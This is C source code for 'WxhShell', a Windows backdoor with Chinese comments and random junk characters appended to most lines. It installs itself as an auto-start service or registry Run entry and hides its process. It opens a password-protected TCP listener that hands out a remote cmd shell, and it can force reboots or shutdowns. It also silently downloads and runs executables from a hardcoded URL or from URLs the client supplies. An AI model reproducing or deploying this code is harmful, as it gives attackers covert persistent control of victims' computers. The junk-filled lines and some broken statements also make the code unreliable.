  // 关机 [$M l;K  
  case 'd': { Yc5<Y-W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pk5 %lu  
    if(Boot(SHUTDOWN)) y!x-R !3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -|P7e  
    else { ;\]DZV4?)r  
    closesocket(wsh); [6?x 6_M  
    ExitThread(0); EcPvE=^c  
    } +&* >FeJY  
    break; a YY1*^  
    } u4xJ-Vu  
  // 获取shell lUiO|  
  case 's': { `FK qVd  
    CmdShell(wsh); eGUe#(I /  
    closesocket(wsh); 'cY @Dqg1  
    ExitThread(0); 9y*(SDF  
    break; +A%zFF3  
  } *7qa]i^]  
  // 退出 )O\l3h"  
  case 'x': { + B7UGI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =H"%{VeC5  
    CloseIt(wsh); [-\DC*6  
    break; xEB 4oQ5  
    } v%QC p  
  // 离开 <#~n+,  
  case 'q': { xzRC %  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1?r$Rx<R  
    closesocket(wsh); |[!0ry*N%  
    WSACleanup(); xRF_'|e  
    exit(1); ?h8/\~Dw  
    break; P.~sNd oJ  
        } { h;i x  
  } `KE(R8y  
  } (JiEV3GH  
Koz0Xy  
  // 提示信息 tAb3ejCo?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O>ZJOKe  
} &< hk&B  
  } !)c0  
|\]pTA$2  
  return; /sl#M  
} TSsx^h8/  
"?YpF2pD  
// shell模块句柄 'IER9%V$  
int CmdShell(SOCKET sock) wDs#1`uTq  
{ ~5Rh7   
STARTUPINFO si; 7RgnL<t~:8  
ZeroMemory(&si,sizeof(si)); P2)g%$ME  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UL" <V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T{T> S%17~  
PROCESS_INFORMATION ProcessInfo; 1'5 !")r  
char cmdline[]="cmd"; * =O@D2g0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gKb5W094@  
  return 0; 4;w# mzd  
} _xdttO^N  
;~s@_}&  
// 自身启动模式 73M;-qnU  
int StartFromService(void) EKT"pL-EY  
{ b;I!Cy D  
typedef struct Bc#6mO-  
{ +Jc-9Ko\c;  
  DWORD ExitStatus; '`p0T%w  
  DWORD PebBaseAddress; vaZ?>94  
  DWORD AffinityMask; BimM)4g  
  DWORD BasePriority; a[gN+DX%L  
  ULONG UniqueProcessId; |nO }YU\E  
  ULONG InheritedFromUniqueProcessId; I q47^  
}   PROCESS_BASIC_INFORMATION; D7$xY\0r  
Sq 2yQSd  
PROCNTQSIP NtQueryInformationProcess; I3?:KVa  
l1RFn,Tzr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {K2F(kz?T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "2@Ys* e  
n]btazM{  
  HANDLE             hProcess; Q1'D*F4  
  PROCESS_BASIC_INFORMATION pbi; <lLk (fC  
p|w;StLy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dk2o>jI4;  
  if(NULL == hInst ) return 0; SiJX5ydz  
q}5&B =2pM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PiIILX{DuH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F~O! J@4]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bRAf!<3  
NPR{g!tK%  
  if (!NtQueryInformationProcess) return 0; !!t@ H\  
 ]cI(||x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]%%cc  
  if(!hProcess) return 0; ]9pcDZB  
k4nA+k<WI`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #kGxX@0  
8%9OB5?F6  
  CloseHandle(hProcess); %K]nX#.B&  
0b}lwo,|\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +<I1@C  
if(hProcess==NULL) return 0; ~LzTqMHM  
>:P3j<xTv  
HMODULE hMod; RwwX;I"o%  
char procName[255]; :Zd# }P  
unsigned long cbNeeded; wwmODw<tT  
DSHpM/7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5 *>3(U  
L9U<E $%#  
  CloseHandle(hProcess); l+ <x  
r^6v o6^  
if(strstr(procName,"services")) return 1; // 以服务启动 +NEP*mk  
&On0)G3Rc  
  return 0; // 注册表启动 ByZ.!~  
} 63- YWhs;  
f:g<Bz=u)*  
// 主模块 Qs{Qg<}  
int StartWxhshell(LPSTR lpCmdLine) 9P)<CD0  
{ s ^{j  
  SOCKET wsl; Jq`fD~(7  
BOOL val=TRUE; V1;Qt-i  
  int port=0; ,K6]Q|U@r  
  struct sockaddr_in door; {1YT a:evl  
Vd^`Hv&i  
  if(wscfg.ws_autoins) Install(); 73(T+6`  
?8 C+wW  
port=atoi(lpCmdLine); M !OI :v  
vR~*r6hX8  
if(port<=0) port=wscfg.ws_port; 49Ue2=PP#  
@kwD$%*0  
  WSADATA data; 7"JU)@ U]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U>x2'B v  
.]H]H*wC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hOMFDfhU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o-Idr{  
  door.sin_family = AF_INET; |/lIasI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HNuwq\w  
  door.sin_port = htons(port); J0p,P.G  
+;[`fSi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j)IK  
closesocket(wsl); n7q-)Dv_U  
return 1; ?3z+|;t6C  
} 3]Lk}0atpL  
Tz L40="F  
  if(listen(wsl,2) == INVALID_SOCKET) { W@$p'IBwm  
closesocket(wsl); ;+b}@e  
return 1; ]:E]5&VwV}  
} [Iihk5TT  
  Wxhshell(wsl); 3Yj}ra}  
  WSACleanup(); |PJW2PN  
D#t5*bwK  
return 0; 4+ k:j=x  
'7*=m^pc  
} UXk8nH  
}5tn  
// 以NT服务方式启动 AYZds >#Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -6tF   
{ x(7K3(#|  
DWORD   status = 0; C aJD*  
  DWORD   specificError = 0xfffffff; )#ujF~w>  
Gj_b GqF8}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D[#\Y+N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MM8)yCI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l*:p==  
  serviceStatus.dwWin32ExitCode     = 0; S8)awTA9  
  serviceStatus.dwServiceSpecificExitCode = 0;  B-gr2-  
  serviceStatus.dwCheckPoint       = 0; 3MzY]J y(  
  serviceStatus.dwWaitHint       = 0; M7> \Qk  
iRVLo~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %-'U9e KN  
  if (hServiceStatusHandle==0) return; 6HqK%(  
YYvs~?bAy  
status = GetLastError(); 6Rf5  
  if (status!=NO_ERROR) oV!9B-<  
{ 5~"=Fm<uD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  zm.2L  
    serviceStatus.dwCheckPoint       = 0; )w` Nkx  
    serviceStatus.dwWaitHint       = 0; 3z#;0n}  
    serviceStatus.dwWin32ExitCode     = status; u ?Xku8 1l  
    serviceStatus.dwServiceSpecificExitCode = specificError; zn~m;0Xi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v1lj/A  
    return; P%lLKSA  
  } T?ZMmUE  
6e*b;{d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /(0d{  
  serviceStatus.dwCheckPoint       = 0; E37@BfpO3  
  serviceStatus.dwWaitHint       = 0; &L?Dogo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &sRJ'oc  
} \~H"!vj  
:ZIcWIV-  
// 处理NT服务事件,比如:启动、停止 QE}@|H9xs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4yM8W\je  
{ ;i#gk%- 2  
switch(fdwControl) ^,5.vfES  
{ ^9RBG#ud  
case SERVICE_CONTROL_STOP: g0U ?s  
  serviceStatus.dwWin32ExitCode = 0; z} \9/`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rN~`4mZ  
  serviceStatus.dwCheckPoint   = 0; By_Ui6:D  
  serviceStatus.dwWaitHint     = 0;  e.GzGX  
  { D?'y)](  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h5gXYmk  
  } 9 $S,P|  
  return; j&pgq2Kl  
case SERVICE_CONTROL_PAUSE: .2P?1HpK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6J*`<k/ S  
  break; HlSuhbi'@  
case SERVICE_CONTROL_CONTINUE: wm8x1+P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )pLq^j  
  break; =KZ4:d5  
case SERVICE_CONTROL_INTERROGATE: Vel;t<1  
  break; _YS+{0 Vq%  
}; dW`D?$(@,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M5V1j(URE  
} g3XAs@  
!%X`c94  
// 标准应用程序主函数 D+3Y.r 9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aVYUk7_<  
{ ,H?p9L; qp  
;Z_C3/b  
// 获取操作系统版本 eQx"nl3U%  
OsIsNt=GetOsVer(); \PONaRK|[z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $(R) =4  
!q/lgpEi  
  // 从命令行安装 [mPdT^h  
  if(strpbrk(lpCmdLine,"iI")) Install(); 20qVzXi  
^-!HbbVv  
  // 下载执行文件 [VW;L l  
if(wscfg.ws_downexe) { zFr}$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S\ZAcz4  
  WinExec(wscfg.ws_filenam,SW_HIDE); NLl~/smMS  
} (r4VIlap  
iL, XBoE  
if(!OsIsNt) { Fzs'@*  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fc~w`~tv  
HideProc(); 5uer [1A  
StartWxhshell(lpCmdLine); }A7qIys$4  
} /8>/"Z2S  
else  ^gyp- !  
  if(StartFromService()) [BBKj)IK  
  // 以服务方式启动 F/SsiUBS  
  StartServiceCtrlDispatcher(DispatchTable); Cpcd`y=IN  
else 0AKwZ' &H  
  // 普通方式启动 b2e  a0  
  StartWxhshell(lpCmdLine); =.hDf<U  
1}E@lOc  
return 0; |q2lTbJ  
} {UBQ?7.jE  
i@Zj 7#e*  
e}[we:  
B?y t%f1  
=========================================== L"I] mQvd  
?ljod6  
Ne7{{1  
n;-r W;ZO  
_%vqBr*  
+[ /r^C  
" gj,J3x4TK/  
y UAn~!s  
#include <stdio.h> ue"?S6  
#include <string.h> t1{}-JlA  
#include <windows.h> {7>CA'>  
#include <winsock2.h> "D(8]EG=  
#include <winsvc.h> -3t BN*0+  
#include <urlmon.h> Rl4zTAI  
OX/.v?c  
#pragma comment (lib, "Ws2_32.lib") PX2k,%  
#pragma comment (lib, "urlmon.lib") oQnk+>}%  
XFTMT'9  
#define MAX_USER   100 // 最大客户端连接数 vGwD~R  
#define BUF_SOCK   200 // sock buffer l6c%_<P|  
#define KEY_BUFF   255 // 输入 buffer uO(guA,C  
-==qMrKP  
#define REBOOT     0   // 重启 dm=F:\C  
#define SHUTDOWN   1   // 关机 m`IQ+, e  
gQ[^gPWP"  
#define DEF_PORT   5000 // 监听端口 kO_XyC4(  
N"RYM~c7  
#define REG_LEN     16   // 注册表键长度 K]!u@I*K"  
#define SVC_LEN     80   // NT服务名长度 ;nKHm  
B8AzN9v&"N  
// 从dll定义API SM+fG:4d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #pQ"+X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Df~p 'N-$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (Q8 ?)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .l=*R7~EU  
Z/= %J3f  
// wxhshell配置信息 LDEW00zL  
struct WSCFG { `uZv9I"  
  int ws_port;         // 监听端口 Rgfhs[Z  
  char ws_passstr[REG_LEN]; // 口令 }K80G~O2<  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^Lmc%y  
  char ws_regname[REG_LEN]; // 注册表键名 C'czXZtn  
  char ws_svcname[REG_LEN]; // 服务名 p_qm}zp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :LiDJF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |8c:+8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vt=(2d5:p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (F[/~~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O+p-1 C$\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &s^>S? L-  
Ogke*qM  
}; %y\eBfW,/  
RC{Z)M{~  
// default Wxhshell configuration aXbNDj ][  
struct WSCFG wscfg={DEF_PORT, B UQn+;be  
    "xuhuanlingzhe", Bd9hf`% 2  
    1, +lgF/y6  
    "Wxhshell", gMBQtPNM  
    "Wxhshell", 2K rqY  
            "WxhShell Service", L;M^>{>  
    "Wrsky Windows CmdShell Service", s"',370  
    "Please Input Your Password: ", `}~ )1'(#/  
  1,  Q A)9  
  "http://www.wrsky.com/wxhshell.exe", {jM<t  
  "Wxhshell.exe" c Z6p^  
    }; P% +or*  
Wda\a.bXT  
// 消息定义模块 C8qTz".5$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vDW&pF_eI>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4l ZJb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HKiVEg  
char *msg_ws_ext="\n\rExit."; H*{k4  
char *msg_ws_end="\n\rQuit."; r=DHt&x=  
char *msg_ws_boot="\n\rReboot..."; PM-PP8h  
char *msg_ws_poff="\n\rShutdown..."; Q6.*"`  
char *msg_ws_down="\n\rSave to "; qTTn51  
9R@abm,I  
char *msg_ws_err="\n\rErr!"; ~+<xFi  
char *msg_ws_ok="\n\rOK!"; U8K &Q4^  
6<s(e_5f  
char ExeFile[MAX_PATH]; L)/6kt=  
int nUser = 0; 3aO;@GNJ  
HANDLE handles[MAX_USER]; x\`RW 3 K  
int OsIsNt; |rxKCzjm  
mC:X4l]5  
SERVICE_STATUS       serviceStatus; A3"1D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; umm\r&]A  
*"ykTqa  
// 函数声明 L8:]`M Q0  
int Install(void); QP$nDK<  
int Uninstall(void); s`#ntset0  
int DownloadFile(char *sURL, SOCKET wsh); 4\1wyN /}M  
int Boot(int flag); b ~/Wnp5  
void HideProc(void); AJ\VY;m7F  
int GetOsVer(void); (L y%{ Y  
int Wxhshell(SOCKET wsl); i<#h]o C}  
void TalkWithClient(void *cs);  nOoKGT  
int CmdShell(SOCKET sock); i$[,-4 v  
int StartFromService(void); a: yB%:2  
int StartWxhshell(LPSTR lpCmdLine); XhE$&Ff  
abICoP1zQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,Um5S6 Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TZh\#dp4l  
6; 5)/q  
// 数据结构和表定义 n9kd2[s|  
SERVICE_TABLE_ENTRY DispatchTable[] = |7QVMFZ  
{ E 4='m  
{wscfg.ws_svcname, NTServiceMain}, p*pn@z  
{NULL, NULL}  Iys6R?~  
}; HZDk <aU/!  
{ r6]MS#l1  
// 自我安装 O1?B{F/ e  
int Install(void) 1 [fo'M  
{ ka2F !   
  char svExeFile[MAX_PATH]; *MYt:ms  
  HKEY key; (|g").L  
  strcpy(svExeFile,ExeFile); >`hSye{  
Gva}J 6{  
// 如果是win9x系统,修改注册表设为自启动 ?eL='>Ne  
if(!OsIsNt) { U_ x0KIm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J16=!q()  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Q&cVxA"\  
  RegCloseKey(key); tLS<0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E\R raPkQT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z!wD~C"D73  
  RegCloseKey(key); _YH<YOrMh  
  return 0; #0P!xZ'|{  
    } ;JOD!|  
  } "H5&3sF2  
} a3O nW\N  
else { fDU+3b  
cP*c(k~N  
// 如果是NT以上系统,安装为系统服务  : cFF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rD0k%-{{  
if (schSCManager!=0) M MAAHo  
{ ?_VRfeztw  
  SC_HANDLE schService = CreateService _Fy4DVCg  
  ( #04{(G|~+E  
  schSCManager, Q&u>7_, Du  
  wscfg.ws_svcname, cy1\u2x_`  
  wscfg.ws_svcdisp, A#Xj]^-*  
  SERVICE_ALL_ACCESS, 4id3P{aU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i^je.,Bi  
  SERVICE_AUTO_START, 'rS'B.D  
  SERVICE_ERROR_NORMAL, WYSck&9  
  svExeFile, T?H\&2CLT  
  NULL, ZJ^s}  
  NULL, 0SJ{@*  
  NULL, 7'_nc!ME  
  NULL, Sdgb#?MR|  
  NULL %S{o5txo  
  ); nHSTeF I?  
  if (schService!=0) uDILjOT  
  { T|;^.TZ  
  CloseServiceHandle(schService); McEmd.S<n  
  CloseServiceHandle(schSCManager); }l.KpdRT2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LkaG8#m1R  
  strcat(svExeFile,wscfg.ws_svcname); M$,Jg5Dc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { davvI$TA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k?^%hO>[  
  RegCloseKey(key); azvDvEWCQZ  
  return 0; |xq} '.C  
    } "3@KRb4f  
  } 9n_ eCb)H  
  CloseServiceHandle(schSCManager); XK1fHfCEa  
} 7k 3p'FeS  
} LL{t5(- _  
+jcdf}  
return 1; Qqp)@uM^  
} PT mf  
>P(eW7RL  
// 自我卸载 %h0D)6 j  
int Uninstall(void) Am#m>^!qb  
{ BpH|/7  
  HKEY key; e:qo_eSC^-  
'#H&:Htm;L  
if(!OsIsNt) { {b(rm,%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?LM:RADCm  
  RegDeleteValue(key,wscfg.ws_regname); h>dxBN  
  RegCloseKey(key); ll_}& a0G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9QX4R<"wUg  
  RegDeleteValue(key,wscfg.ws_regname); l#Yx TY  
  RegCloseKey(key); 7k>zuzRyF  
  return 0; Fl<(m  
  } K~USK?Q%  
} CP +4k.)*O  
} Wt(Kd5k0'2  
else { _O$tuC%  
-zprNQW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R3$@N  
if (schSCManager!=0) /n(9&'H<  
{ -=}b;Kf -  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rWJ*e Y  
  if (schService!=0) \kxh#{$z?  
  { TNx_Rc}  
  if(DeleteService(schService)!=0) { ~+<<bzY  
  CloseServiceHandle(schService); g+.0c=G(  
  CloseServiceHandle(schSCManager); T\jAk+$Jo  
  return 0; mIRAS"Q!m  
  } C}9Kx }q  
  CloseServiceHandle(schService); &uPDZ#C-  
  } dnix:'D1  
  CloseServiceHandle(schSCManager); Hv3W{|  
} (e(Rr 4  
} )R~a;?T_c0  
2@fa rx:  
return 1; +1x)z~q=  
} zFOL(s.h|0  
!Pw$48cg  
// 从指定url下载文件 q=njKC  
int DownloadFile(char *sURL, SOCKET wsh) ;:U<ce=  
{ N^lAG"Jao[  
  HRESULT hr; wajZqC2yg  
char seps[]= "/"; 4x(F&0  
char *token; bhn5Lz$z  
char *file; o,J^ e_  
char myURL[MAX_PATH]; {(%~i37  
char myFILE[MAX_PATH]; !\ZcOk2  
( :iPm<  
strcpy(myURL,sURL); J=@xAVBc  
  token=strtok(myURL,seps); |f<9miNu  
  while(token!=NULL) V7BsEw  
  { B7|c`7x(  
    file=token; -rO*7HO  
  token=strtok(NULL,seps); 5:$Xtq  
  } n6/fan;  
l/M[am  
GetCurrentDirectory(MAX_PATH,myFILE); 5E`JD  
strcat(myFILE, "\\"); >{b3>s~T  
strcat(myFILE, file); };^}2Xo+  
  send(wsh,myFILE,strlen(myFILE),0); ]'tJ S]  
send(wsh,"...",3,0); 4b=Gg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \KCWYi]  
  if(hr==S_OK) lr0M<5d=p  
return 0; D!S8oKW  
else ^@K WYAAW5  
return 1; 8]HY. $E  
%{U"EZ]D!  
} 5*Btb#:  
?T <rt  
// 系统电源模块 ~~@y_e[N#l  
int Boot(int flag) =D5wqCT(Q  
{ |WBZN1W)  
  HANDLE hToken; ZB$NVY  
  TOKEN_PRIVILEGES tkp; pu#[pa  
cN5"i0xk  
  if(OsIsNt) { =6fB*bNk]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RbKwO} z$q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t|_{;!^  
    tkp.PrivilegeCount = 1; FD))'!>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  jC4O`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o<nS_x  
if(flag==REBOOT) { &1l~&,,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *t]v}ZV*  
  return 0; jI A#!4  
} }qL~KA{&  
else { >;7a1+`3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $cu]_gu  
  return 0; +X[8wUm|^  
} SwX@I6huM  
  } kf'=%]9#_T  
  else { @+E7w6>%  
if(flag==REBOOT) { 6^ab@GrN\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 83Uw  
  return 0; Y0}4WWV  
} i(Vm!Y82  
else { 7VY8CcL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x%pRDytA  
  return 0; ,WGc7NN`  
} %0zS  
} ~U3S eo }  
w{r8kH  
return 1; Cg^:jd  
} ;t!9]1  
>8(jW  
// win9x进程隐藏模块 'B,KFA<  
void HideProc(void) ($'V& x8T  
{ .lr5!Stb  
#"<?_fao~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J 3B`Krh  
  if ( hKernel != NULL ) Hnd+l)ng  
  { 7gr^z)${J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GL`tOD:P"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0#^Bf[Dn  
    FreeLibrary(hKernel);  ,Y-S(  
  } [4: Yi{>  
q~M2:SN@X  
return; 4kh8W~i;/  
} =+\$e1Mb*  
O+b6lg)q  
// 获取操作系统版本 AOAO8%|I  
int GetOsVer(void) j_V/GnEQ  
{ kP?_kMOx  
  OSVERSIONINFO winfo; qlvwK&W<QM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TL@mM  
  GetVersionEx(&winfo); ]'g:B p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @k9Pz<ub  
  return 1; 7f r>ZY^  
  else 0MrN:M2B  
  return 0; ^vM_kAr A  
} 1]Lh'.1^  
P7UJ-2%Y+  
// 客户端句柄模块 R>HY:-2  
int Wxhshell(SOCKET wsl) }1@E"6kF  
{ ^cn@?k((A  
  SOCKET wsh; #a'r_K=ch)  
  struct sockaddr_in client; sG1BNb_  
  DWORD myID; ST% T =_q  
s??czM2O  
  while(nUser<MAX_USER) yV2e5/i  
{ wASX\D }  
  int nSize=sizeof(client); GFt1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yquAr$L!  
  if(wsh==INVALID_SOCKET) return 1; ]x_F{&6U8  
GV>&g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q:8\ e  
if(handles[nUser]==0) K_&_z  
  closesocket(wsh); U(Z!J6{c  
else ?;RD u[eD  
  nUser++; z7k$0&  
  } GW8CaTf~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2LZS|fB9o  
MQ9vPgh  
  return 0; Q i^;1&  
} NWaO_sm  
sv`"\3N[  
// 关闭 socket dN0mYlu1|  
void CloseIt(SOCKET wsh) LD_M 3 P  
{ /ao<A\KR  
closesocket(wsh); 7 Kjj?~RA  
nUser--; %"+4 D,'l  
ExitThread(0); yzg9I  
} y!hi"!  
LuL$v+`  
// 客户端请求句柄 q)k{W>O  
void TalkWithClient(void *cs) OfJd/D  
{ jzMg'z/@J  
`)2[ST  
  SOCKET wsh=(SOCKET)cs; oLw|uU-|  
  char pwd[SVC_LEN]; gmDR{loX  
  char cmd[KEY_BUFF]; h1c{?xH2r  
char chr[1]; K"^cq~   
int i,j; 0R4akLW0  
bBG/gQ  
  while (nUser < MAX_USER) { N6q5`Ry  
{#9,j]<  
if(wscfg.ws_passstr) { qy&\Xgn;GA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J'Gm7h{   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gi1j/j7  
  //ZeroMemory(pwd,KEY_BUFF);  Oq}ip  
      i=0; Ck@M<(x  
  while(i<SVC_LEN) { ^9=4iXd  
om>VQ3  
  // 设置超时 Ko+al{2  
  fd_set FdRead; Q0WY$w1 <  
  struct timeval TimeOut; x G^f  
  FD_ZERO(&FdRead); zb?kpd}r  
  FD_SET(wsh,&FdRead); 7*MU2gb  
  TimeOut.tv_sec=8; o$t &MST?i  
  TimeOut.tv_usec=0; P=Puaz5&{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4i`S+`#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >j:|3atb  
cd+^=esSO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0-GKu d  
  pwd=chr[0]; {(!)P  
  if(chr[0]==0xd || chr[0]==0xa) { Pt(tRHB  
  pwd=0; #// %&k  
  break; Z'e\_C  
  } cyBW0wV1  
  i++; g<\>; }e  
    } w?S8@|MK  
| @ *3^'  
  // 如果是非法用户,关闭 socket K-6p'|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +dM.-wW  
} 71*>L}H  
PF6 7z]<o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v4C3uNW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ee^4KKsh\  
jr:drzr{I  
while(1) { |eF.ZC)QWh  
Az9J\V~"  
  ZeroMemory(cmd,KEY_BUFF); b*`fLrqV.  
NA\x<  
      // 自动支持客户端 telnet标准   +[_gyLN<5b  
  j=0; ?uig04@3  
  while(j<KEY_BUFF) { yi|:}K$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s&0*'^'O[S  
  cmd[j]=chr[0]; j3LNnZY  
  if(chr[0]==0xa || chr[0]==0xd) { 0JyqCb l  
  cmd[j]=0; l@#b;M/  
  break; K#@K"N =  
  } r_q~'r35_  
  j++; F  "!`X#  
    } RPY 6Wh| 4  
umryA{Ps  
  // 下载文件 f}%sO  
  if(strstr(cmd,"http://")) {  7BS/T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <\p&jk?  
  if(DownloadFile(cmd,wsh)) ,[^o9u uB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xj(>.E{~H  
  else qhnapZJ  
